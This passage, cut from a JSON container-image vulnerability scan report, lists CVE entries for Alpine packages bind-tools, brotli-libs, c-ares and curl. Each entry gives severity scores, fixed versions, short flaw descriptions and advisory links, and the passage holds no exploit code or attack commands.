"pkg:apk/alpine/bind-tools@9.20.23-r0?arch=x86_64\u0026distro=3.24.1", "UID": "25a5950e2cc88f2" }, "InstalledVersion": "9.20.23-r0", "FixedVersion": "9.20.30-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-96888", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:3b36e6c4317c43fbb07e18b9655b2e23d09ee93546702e5c0b07e257434072ea", "Title": "bind: bind: Denial of Service via assertion failure during redirect processing", "Description": "A BIND resolver that is configured with both a \"redirect\" zone and \"qname-minimization strict\" may abort with an assertion failure while processing the redirect.\nThis issue affects BIND 9 versions 9.16.0 through 9.18.50, 9.20.0 through 9.20.29, 9.21.0 through 9.21.26, 9.16.8-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.29-S1.", "Severity": "HIGH", "CweIDs": [ "CWE-476", "CWE-617" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93610", "https://access.redhat.com/security/cve/CVE-2026-96888", "https://bugzilla.redhat.com/2556406", "https://bugzilla.redhat.com/2556407", "https://bugzilla.redhat.com/2556413", "https://bugzilla.redhat.com/2556415", "https://bugzilla.redhat.com/show_bug.cgi?id=2556406", "https://bugzilla.redhat.com/show_bug.cgi?id=2556407", "https://bugzilla.redhat.com/show_bug.cgi?id=2556413", "https://bugzilla.redhat.com/show_bug.cgi?id=2556415", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19630", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-94300", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-96888", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97313", "https://downloads.isc.org/isc/bind9/9.20.30", "https://downloads.isc.org/isc/bind9/9.21.27", "https://errata.almalinux.org/9/ALSA-2026-93610.html", "https://errata.rockylinux.org/RLSA-2026:93610", "https://kb.isc.org/docs/cve-2026-96888", "https://linux.oracle.com/cve/CVE-2026-96888.html", "https://linux.oracle.com/errata/ELSA-2026-94011.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-96888", "https://ubuntu.com/security/notices/USN-8969-1", "https://www.cve.org/CVERecord?id=CVE-2026-96888" ], "PublishedDate": "2026-10-21T13:21:08.84Z", "LastModifiedDate": "2026-10-26T21:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-97313", "PkgID": "bind-tools@9.20.23-r0", "PkgName": "bind-tools", "PkgIdentifier": { "PURL": "pkg:apk/alpine/bind-tools@9.20.23-r0?arch=x86_64\u0026distro=3.24.1", "UID": "25a5950e2cc88f2" }, "InstalledVersion": "9.20.23-r0", "FixedVersion": "9.20.30-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-97313", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:d81d53e4cc5c4388ac05e496e65f14e748a9ac256bb56704487b6b78bd292d53", "Title": "bind: bind: Denial of service via assertion failure in RPZ query processing", "Description": "A recursive BIND server that receives a query with recursion desired (RD=1) followed by a non-recursive query (RD=0) may exit with an assertion failure, resulting in a denial of service. To be vulnerable, the BIND server must allow recursive queries and have at least two RPZ zones configured: one with the default setting of \"recursive-only yes\", and the other with \"recursive-only no\".\nThis issue affects BIND 9 versions 9.16.0 through 9.18.50, 9.20.0 through 9.20.29, 9.21.0 through 9.21.26, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.29-S1.", "Severity": "HIGH", "CweIDs": [ "CWE-617" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93610", "https://access.redhat.com/security/cve/CVE-2026-97313", "https://bugzilla.redhat.com/2556406", "https://bugzilla.redhat.com/2556407", "https://bugzilla.redhat.com/2556413", "https://bugzilla.redhat.com/2556415", "https://bugzilla.redhat.com/show_bug.cgi?id=2556406", "https://bugzilla.redhat.com/show_bug.cgi?id=2556407", "https://bugzilla.redhat.com/show_bug.cgi?id=2556413", "https://bugzilla.redhat.com/show_bug.cgi?id=2556415", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19630", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-94300", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-96888", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97313", "https://downloads.isc.org/isc/bind9/9.20.30", "https://downloads.isc.org/isc/bind9/9.21.27", "https://errata.almalinux.org/9/ALSA-2026-93610.html", "https://errata.rockylinux.org/RLSA-2026:93610", "https://kb.isc.org/docs/cve-2026-97313", "https://linux.oracle.com/cve/CVE-2026-97313.html", "https://linux.oracle.com/errata/ELSA-2026-94011.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-97313", "https://ubuntu.com/security/notices/USN-8969-1", "https://www.cve.org/CVERecord?id=CVE-2026-97313" ], "PublishedDate": "2026-10-21T13:21:09.27Z", "LastModifiedDate": "2026-10-26T21:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-111497", "PkgID": "brotli-libs@1.2.0-r1", "PkgName": "brotli-libs", "PkgIdentifier": { "PURL": "pkg:apk/alpine/brotli-libs@1.2.0-r1?arch=x86_64\u0026distro=3.24.1", "UID": "34680ab8e4de744b" }, "InstalledVersion": "1.2.0-r1", "FixedVersion": "1.2.1-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-111497", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:14b99a0d5d36fe305da777ab6f39e2a03e5c371dd0d177ee73253ffdfd0c63f7", "Title": "brotli: Out-of-Bounds Write in Google Brotli Decoder", "Description": "A buffer overflow vulnerability in the Brotli decoder (c/dec/decode.c) in Google Brotli versions 1.0.3 through 1.2.0 on all platforms allows a remote unauthenticated attacker to corrupt adjacent decoder state memory, disclose sensitive memory contents, cause a denial of service, or potentially execute arbitrary code using a crafted Brotli-compressed stream.\n\n\n\n\n\nUsers need to update any Brotli libraries or binaries between 1.0.3 through 1.2.0 to the latest available version: 1.0.10 or 1.1.1 or 1.2.1.", "Severity": "CRITICAL", "CweIDs": [ "CWE-252", "CWE-787" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 4, "bitnami": 4, "ghsa": 4, "nvd": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 9.2 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V3Score": 9.8, "V40Score": 9.2 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/10/23/25", "http://www.openwall.com/lists/oss-security/2026/10/24/6", "http://www.openwall.com/lists/oss-security/2026/10/26/12", "http://www.openwall.com/lists/oss-security/2026/10/26/13", "http://www.openwall.com/lists/oss-security/2026/10/26/16", "http://www.openwall.com/lists/oss-security/2026/11/03/2", "https://access.redhat.com/errata/RHSA-2026:90495", "https://access.redhat.com/errata/RHSA-2026:92492", "https://access.redhat.com/security/cve/CVE-2026-111497", "https://advisory.echohq.com/cve/CVE-2026-111497", "https://broccoli2shell.com", "https://bugzilla.redhat.com/2558973", "https://bugzilla.redhat.com/2562054", "https://bugzilla.redhat.com/show_bug.cgi?id=2558973", "https://cert-portal.siemens.com/productcert/html/ssa-045512.html", "https://cert-portal.siemens.com/productcert/html/ssa-443410.html", "https://cert-portal.siemens.com/productcert/html/ssa-898633.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-111497", "https://devblogs.microsoft.com/dotnet/dotnet-october-2026-oob-security-updates", "https://ellio.tech/en/blog/node2shell-cve-2026-111497-rce-on-stock-nodejs-builds", "https://ellio.tech/en/blog/node2shell-cve-2026-111497-rce-on-stock-nodejs-builds/", "https://errata.almalinux.org/9/ALSA-2026-92492.html", "https://errata.rockylinux.org/RLSA-2026:90495", "https://github.com/advisories/GHSA-9v8h-qqgm-4m35", "https://github.com/andybalholm/brotli/releases/tag/v1.2.7", "https://github.com/dotnet/announcements/issues/494", "https://github.com/google/brotli", "https://github.com/google/brotli/commit/0ed4268a4401abcb4472096340477cf4af7d1a2b", "https://github.com/google/brotli/commit/50a9b70a4d5e1443fc40927952276b68fffa83a0", "https://github.com/google/brotli/commit/b418fa81c48262a86a95332b0bc6d62c30aa78b6", "https://github.com/google/brotli/commit/da9806362874b9bd4b552a3af360b5d6347beb12", "https://github.com/google/brotli/releases/tag/v1.0.10", "https://github.com/google/brotli/releases/tag/v1.1.1", "https://github.com/google/brotli/releases/tag/v1.2.1", "https://github.com/pypa/advisory-database/tree/main/vulns/brotli/PYSEC-2026-4322.yaml", "https://github.com/pypa/advisory-database/tree/main/vulns/brotlicffi/PYSEC-2026-4323.yaml", "https://linux.oracle.com/cve/CVE-2026-111497.html", "https://linux.oracle.com/errata/ELSA-2026-92492.html", "https://lists.debian.org/debian-lts-announce/2026/10/msg00049.html", "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-114148", "https://nodejs.org/en/blog/vulnerability/october-2026-security-releases", "https://nodejs.org/en/blog/vulnerability/october-2026-security-releases#nodejs-brotli-decoder-out-of-bounds-write-permits-remote-code-execution-cve-2026-111497---high", "https://nvd.nist.gov/vuln/detail/CVE-2026-111497", "https://opensourcemalware.com/blog/node2shell-affects-python", "https://patchtheplanet.org/brotli", "https://pypi.org/project/Brotli", "https://pypi.org/project/brotlicffi", "https://ubuntu.com/security/notices/USN-8956-1", "https://ubuntu.com/security/notices/USN-8956-2", "https://ubuntu.com/security/notices/USN-8958-1", "https://www.aikido.dev/blog/node2shell-nodejs-brotli-rce-cve-2026-111497", "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-111497", "https://www.cve.org/CVERecord?id=CVE-2026-111497" ], "PublishedDate": "2026-10-22T14:17:37.19Z", "LastModifiedDate": "2026-11-06T16:17:37.393Z" }, { "VulnerabilityID": "CVE-2026-33630", "PkgID": "c-ares@1.34.6-r0", "PkgName": "c-ares", "PkgIdentifier": { "PURL": "pkg:apk/alpine/c-ares@1.34.6-r0?arch=x86_64\u0026distro=3.24.1", "UID": "3262f09038595d05" }, "InstalledVersion": "1.34.6-r0", "FixedVersion": "1.34.8-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-33630", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:552904a04f32538b06f2f8f39d7a16b343211f4c8ea112a2100bea24f86dbf6d", "Title": "c-ares: c-ares: Use-after-free / double-free in query-completion handling", "Description": "c-ares is an asynchronous resolver library. From ver 1.32.3 until 1.34.7, a use-after-free / double-free in c-ares' query-completion handling. The same flaw — a query's callback being invoked while the query is still linked in the channel's internal lookup structures — is present at multiple points in the resend/finish path (timeout handling, response handling, and query dispatch). If the query, or for ares_getaddrinfo() the owning host_query, is freed as a side effect of that callback, it is then accessed and/or freed a second time. This vulnerability is fixed in ver 1.34.7.", "Severity": "HIGH", "CweIDs": [ "CWE-415", "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:42096", "https://access.redhat.com/security/cve/CVE-2026-33630", "https://bugzilla.redhat.com/2497686", "https://bugzilla.redhat.com/show_bug.cgi?id=2497686", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33630", "https://errata.almalinux.org/10/ALSA-2026-42096.html", "https://errata.rockylinux.org/RLSA-2026:42096", "https://github.com/c-ares/c-ares/commit/1fa3b86a0b8d18fe7b60f3228a01d770feb026bc", "https://github.com/c-ares/c-ares/commit/d823199b688052dcdc1646f2ab4cb8c16b1c644a", "https://github.com/c-ares/c-ares/pull/1237", "https://github.com/c-ares/c-ares/releases/tag/v1.34.7", "https://github.com/c-ares/c-ares/security/advisories/GHSA-6wfj-rwm7-3542", "https://linux.oracle.com/cve/CVE-2026-33630.html", "https://linux.oracle.com/errata/ELSA-2026-42096.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-33630", "https://ubuntu.com/security/notices/USN-8844-1", "https://www.cve.org/CVERecord?id=CVE-2026-33630", "https://www.openwall.com/lists/oss-security/2026/07/06/8" ], "PublishedDate": "2026-09-03T19:17:27.42Z", "LastModifiedDate": "2026-09-09T21:09:13.08Z" }, { "VulnerabilityID": "CVE-2026-11352", "PkgID": "curl@8.20.0-r1", "PkgName": "curl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/curl@8.20.0-r1?arch=x86_64\u0026distro=3.24.1", "UID": "8c098d986f37fe67" }, "InstalledVersion": "8.20.0-r1", "FixedVersion": "8.21.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-11352", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:da5e84cf63dcec12aa86a60c73e7d9c1456dc28f40d98be5d130881a4cc615a6", "Title": "curl: libcurl: curl/libcurl: Remote denial of service via QUIC UDP receive function vulnerability", "Description": "An issue in curl’s QUIC UDP receive function allows a malicious HTTP/3 server\nto trigger a remote denial of service against a curl or libcurl client.\nBecause the helper function discards zero-length UDP datagrams before counting\nthem toward the per-call packet budget, a connected QUIC peer can continuously\nstream empty datagrams to indefinitely stall the client.", "Severity": "HIGH", "CweIDs": [ "CWE-835" ], "VendorSeverity": { "julia": 3, "photon": 3, "redhat": 3, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-11352", "https://curl.se/L7HzKXisfJ/CVE-2026-11352.md", "https://curl.se/docs/CVE-2026-11352.html", "https://curl.se/docs/CVE-2026-11352.json", "https://github.com/advisories/GHSA-qxwx-hr5v-h5q4", "https://hackerone.com/reports/3783438", "https://nvd.nist.gov/vuln/detail/CVE-2026-11352", "https://ubuntu.com/security/notices/USN-8525-1", "https://www.cve.org/CVERecord?id=CVE-2026-11352" ], "PublishedDate": "2026-07-03T07:16:23.693Z", "LastModifiedDate": "2026-09-15T07:16:25.353Z" }, { "VulnerabilityID": "CVE-2026-11586", "PkgID": "curl@8.20.0-r1", "PkgName": "curl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/curl@8.20.0-r1?arch=x86_64\u0026distro=3.24.1", "UID": "8c098d986f37fe67" }, "InstalledVersion": "8.20.0-r1", "FixedVersion": "8.21.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-11586", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:c29f17e424360a4ec79b5958172d40845e8aeaa8ee06c9e37911ec3a7ea8b2e1", "Title": "curl: curl: Denial of Service via WebSocket PING flood", "Description": "By default, curl automatically responds to WebSocket PING frames. Because curl\nlacks an upper bound on memory allocation for unacknowledged frames, a\nmalicious server can exhaust all available memory by flooding curl with rapid,\nsequential PING messages.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "amazon": 2, "julia": 3, "photon": 3, "redhat": 3, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-11586", "https://curl.se/L7HzKXisfJ/CVE-2026-11586.md", "https://curl.se/docs/CVE-2026-11586.html", "https://curl.se/docs/CVE-2026-11586.json", "https://github.com/advisories/GHSA-c68q-h477-5646", "https://hackerone.com/reports/3788931", "https://nvd.nist.gov/vuln/detail/CVE-2026-11586", "https://ubuntu.com/security/notices/USN-8525-1", "https://www.cve.org/CVERecord?id=CVE-2026-11586" ], "PublishedDate": "2026-07-03T07:16:23.883Z", "LastModifiedDate": "2026-09-15T07:16:25.7Z" }, { "VulnerabilityID": "CVE-2026-12064", "PkgID": "curl@8.20.0-r1", "PkgName": "curl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/curl@8.20.0-r1?arch=x86_64\u0026distro=3.24.1", "UID": "8c098d986f37fe67" }, "InstalledVersion": "8.20.0-r1", "FixedVersion": "8.21.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-12064", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:b433566a89f42911c44a503a2f219e0043367e4d55eae171ae922d06c20d512b", "Title": "curl: curl: SSH host verification bypass when using schemeless URLs with SFTP/SCP", "Description": "When a user invokes curl using a schemeless URL combined with\n`--proto-default` sftp (or scp), a disconnect occurs between the tool layer\nand libcurl. The tool layer incorrectly infers the URL scheme, which\nerroneously bypasses the initialization of critical SSH security options like\nCURLOPT_SSH_HOST_PUBLIC_KEY_SHA256 and CURLOPT_SSH_KNOWNHOSTS. Conversely, the\nlibcurl runtime successfully honors CURLOPT_DEFAULT_PROTOCOL and establishes\nthe connection via SFTP/SCP as specified. Because the tool layer skipped the\nsecurity configuration, these SSH host verification options are silently\nomitted, causing curl to connect to an unverified SSH remote host without\nthrowing an error.", "Severity": "HIGH", "CweIDs": [ "CWE-297", "CWE-295" ], "VendorSeverity": { "amazon": 2, "azure": 3, "julia": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-12064", "https://curl.se/L7HzKXisfJ/CVE-2026-12064.md", "https://curl.se/docs/CVE-2026-12064.html", "https://curl.se/docs/CVE-2026-12064.json", "https://github.com/advisories/GHSA-jm94-9f7h-36pr", "https://hackerone.com/reports/3797526", "https://linux.oracle.com/cve/CVE-2026-12064.html", "https://linux.oracle.com/errata/ELSA-2026-55450.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-12064", "https://ubuntu.com/security/notices/USN-8525-1", "https://www.cve.org/CVERecord?id=CVE-2026-12064" ], "PublishedDate": "2026-07-03T07:16:24.217Z", "LastModifiedDate": "2026-09-15T07:16:26.15Z" }, { "VulnerabilityID": "CVE-2026-8286", "PkgID": "curl@8.20.0-r1", "PkgName": "curl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/curl@8.20.0-r1?arch=x86_64\u0026distro=3.24.1", "UID": "8c098d986f37fe67" }, "InstalledVersion": "8.20.0-r1", "FixedVersion": "8.21.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-8286", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:43a14268899f89f1bf9d63240cb3700d768a290708fcec27fb9d463dac5e4e67", "Title": "curl: curl: Insecure connection establishment due to TLS configuration mismatch", "Description": "A vulnerability exists where a new transfer that uses STARTTLS to upgrade the\nconnection might reuse an existing live connection even though the TLS\nconfiguration mismatches so it should not.", "Severity": "HIGH", "CweIDs": [ "CWE-295" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 3, "julia": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "V3Score": 8.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:55439", "https://access.redhat.com/security/cve/CVE-2026-8286", "https://bugzilla.redhat.com/2446448", "https://bugzilla.redhat.com/2446450", "https://bugzilla.redhat.com/2496758", "https://bugzilla.redhat.com/2496763", "https://bugzilla.redhat.com/show_bug.cgi?id=2446448", "https://bugzilla.redhat.com/show_bug.cgi?id=2446450", "https://bugzilla.redhat.com/show_bug.cgi?id=2496758", "https://bugzilla.redhat.com/show_bug.cgi?id=2496763", "https://creativecommons.org/licenses/by/4.0/", "https://curl.se/L7HzKXisfJ/CVE-2026-8286.md", "https://curl.se/docs/CVE-2026-8286.html", "https://curl.se/docs/CVE-2026-8286.json", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-1965", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-3783", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-8286", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-9547", "https://errata.almalinux.org/9/ALSA-2026-55439.html", "https://errata.rockylinux.org/RLSA-2026:55439", "https://github.com/advisories/GHSA-32xh-3x3c-6g6h", "https://hackerone.com/reports/3718195", "https://linux.oracle.com/cve/CVE-2026-8286.html", "https://linux.oracle.com/errata/ELSA-2026-57462.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-8286", "https://ubuntu.com/security/notices/USN-8487-1", "https://www.cve.org/CVERecord?id=CVE-2026-8286" ], "PublishedDate": "2026-07-03T07:16:24.453Z", "LastModifiedDate": "2026-09-15T07:16:31.617Z" }, { "VulnerabilityID": "CVE-2026-8458", "PkgID": "curl@8.20.0-r1", "PkgName": "curl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/curl@8.20.0-r1?arch=x86_64\u0026distro=3.24.1", "UID": "8c098d986f37fe67" }, "InstalledVersion": "8.20.0-r1", "FixedVersion": "8.21.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-8458", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:7df10089041d7430596d701cade7005cc9a29bced1951a7ffcfdd3d76e1003b9", "Title": "curl: libcurl: Unauthorized connection reuse due to a logical error", "Description": "libcurl might in some circumstances reuse the wrong connection when asked to\ndo Negotiate-authenticated ones, even when they are set to use different\n\"services\".\n\nlibcurl features a pool of recent connections so that subsequent requests can\nreuse an existing connection to avoid overhead.\n\nWhen reusing a connection a range of criteria must be met. Due to a logical\nerror in the code, a request that was issued by an application could\nwrongfully reuse an existing connection to the same server that was\nauthenticated using different services.", "Severity": "HIGH", "CweIDs": [ "CWE-488" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 2, "julia": 2, "oracle-oval": 3, "photon": 2, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "V3Score": 6.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69126", "https://access.redhat.com/security/cve/CVE-2026-8458", "https://bugzilla.redhat.com/2496764", "https://bugzilla.redhat.com/2496769", "https://bugzilla.redhat.com/show_bug.cgi?id=2496764", "https://bugzilla.redhat.com/show_bug.cgi?id=2496769", "https://creativecommons.org/licenses/by/4.0/", "https://curl.se/L7HzKXisfJ/CVE-2026-8458.md", "https://curl.se/docs/CVE-2026-8458.html", "https://curl.se/docs/CVE-2026-8458.json", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-8458", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-8927", "https://errata.almalinux.org/9/ALSA-2026-69126.html", "https://errata.rockylinux.org/RLSA-2026:69126", "https://github.com/advisories/GHSA-88c6-6jfq-mm4q", "https://hackerone.com/reports/3721183", "https://linux.oracle.com/cve/CVE-2026-8458.html", "https://linux.oracle.com/errata/ELSA-2026-92368.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-8458", "https://ubuntu.com/security/notices/USN-8487-1", "https://www.cve.org/CVERecord?id=CVE-2026-8458" ], "PublishedDate": "2026-07-03T07:16:24.63Z", "LastModifiedDate": "2026-09-15T07:16:32.327Z" }, { "VulnerabilityID": "CVE-2026-8925", "PkgID": "curl@8.20.0-r1", "PkgName": "curl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/curl@8.20.0-r1?arch=x86_64\u0026distro=3.24.1", "UID": "8c098d986f37fe67" }, "InstalledVersion": "8.20.0-r1", "FixedVersion": "8.21.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-8925", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:a780274611b29d64f3b8ef108077ebab4c11c9acbff975d5d04c1c57b6917ea5", "Title": "curl: curl: Double-free vulnerability in SASL authentication", "Description": "The curl logic that works with SASL authentication could end up cleaning up\nthe GSASL context *twice* without clearing the pointer in between, making it\n`free()` the same pointer twice.", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "amazon": 2, "julia": 4, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-8925", "https://curl.se/L7HzKXisfJ/CVE-2026-8925.md", "https://curl.se/docs/CVE-2026-8925.html", "https://curl.se/docs/CVE-2026-8925.json", "https://github.com/advisories/GHSA-p8x5-c6c9-8cwx", "https://hackerone.com/reports/3735193", "https://nvd.nist.gov/vuln/detail/CVE-2026-8925", "https://ubuntu.com/security/notices/USN-8487-1", "https://www.cve.org/CVERecord?id=CVE-2026-8925" ], "PublishedDate": "2026-07-03T07:16:24.95Z", "LastModifiedDate": "2026-09-15T07:16:32.8Z" }, { "VulnerabilityID": "CVE-2026-8927", "PkgID": "curl@8.20.0-r1", "PkgName": "curl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/curl@8.20.0-r1?arch=x86_64\u0026distro=3.24.1", "UID": "8c098d986f37fe67" }, 